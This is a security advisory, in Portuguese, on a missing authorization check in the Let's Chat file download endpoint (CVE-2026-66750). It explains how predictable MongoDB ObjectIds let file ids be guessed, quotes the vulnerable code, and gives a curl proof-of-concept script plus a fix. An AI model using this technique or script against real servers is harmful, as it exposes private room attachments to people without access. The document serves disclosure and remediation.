
Aviso de Segurança: Controles de Acesso Insuficientes Permitem o Download Não Autorizado de Arquivos (Let's Chat)
ID CVE atribuído: CVE-2026-66750
GET /files/:id/:name verifica se o solicitante está autenticado e então serve o arquivo. Nunca
verifica se o solicitante tem permissão para ver a sala à qual o arquivo pertence.
Qualquer conta pode, portanto, ler anexos de salas privadas e protegidas por senha das quais não é membro, e usuários cujo acesso a uma sala foi revogado mantêm links de download funcionais para todos os arquivos enviados enquanto tinham acesso.
O endpoint de listagem de arquivos no mesmo controlador verifica a associação, que é exatamente o que falta no endpoint de download.
URL do repositório: https://github.com/sdelements/lets-chat
Vulnerável desde 0.3.0 (commit 55e8833, 24 jan 2015, "Files backend") até 0.4.8, o
lançamento final. Não existe versão corrigida.
Salas privadas e protegidas por senha foram introduzidas na 0.4.0, portanto a fronteira de confidencialidade que esta vulnerabilidade cruza existe desde 0.4.0.
Requer files.enable: true, que está desativado em defaults.yml mas ativado em muitas implantações,
já que o compartilhamento de arquivos é um recurso documentado.
Confirmado na 0.4.8 no commit 617207f e em docker.io/sdelements/lets-chat:latest
(0.4.7).
CWE-639: Bypass de Autorização por meio de Chave Controlada pelo Usuário. Também CWE-862, Autorização Ausente.
Pontuação base CVSS 4.0: 5.3 (Média)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
O atacante precisa de uma conta de usuário comum, acesso de rede à porta HTTP e o ObjectId de um arquivo. O auto-registro está habilitado por padrão.
Na prática, o id não é um segredo. Qualquer pessoa que já foi membro da sala já o tem,
porque tanto files:list quanto a mensagem upload://files/<id>/<name> publicada no upload o
fornecem. A remoção do acesso não o invalida, e não há expiração nem assinatura na
URL.
Para um atacante sem histórico na sala alvo, o id precisa ser adivinhado. Ele é um MongoDB ObjectId, não um UUID, e muito pouco dele é imprevisível:
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 byte counter, increments by one per document
| | +--------- 2 byte process id
| +--------------- 3 byte machine id, fixed for the life of the process
+----------------------- 4 byte Unix timestamp, one second resolution
Tudo exceto o contador é constante durante a vida de um processo de servidor, e o
contador é uma única sequência compartilhada por todas as coleções. Um atacante que envia um arquivo
próprio, portanto, descobre o id de máquina, o id de processo e a posição atual do contador,
e todo arquivo enviado por qualquer outra pessoa fica a uma curta distância nessa sequência. Oito
envios consecutivos em sdelements/lets-chat:latest:
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
A rota de download aplica requireLogin e nada mais.
app/controllers/files.js:59-92:
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
file.room é carregado e depois nunca consultado.
O caminho de listagem na mesma funcionalidade, por sua vez, faz a verificação de associação.
app/core/files.js:156-175:
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
Portanto, a aplicação já tem a verificação de que precisa (Room.canJoin, definida em
app/models/room.js:130); a rota de download simplesmente não a chama.
Requer files.enable: true e rooms.private: true
(LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
O mesmo resultado se aplica a uma conta que nunca foi membro da sala, tendo o id do arquivo.
Anexos em salas privadas e protegidas por senha podem ser lidos por qualquer conta no servidor que possua ou consiga derivar o id do arquivo. Remover alguém de uma sala privada, ou alterar a senha de uma sala, não corta o acesso dessa pessoa aos arquivos já enviados, e arquivar a sala também não.
Carregue a sala e reutilize a verificação que files:list já executa. Em
app/controllers/files.js:62, após a checagem if (!file):
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});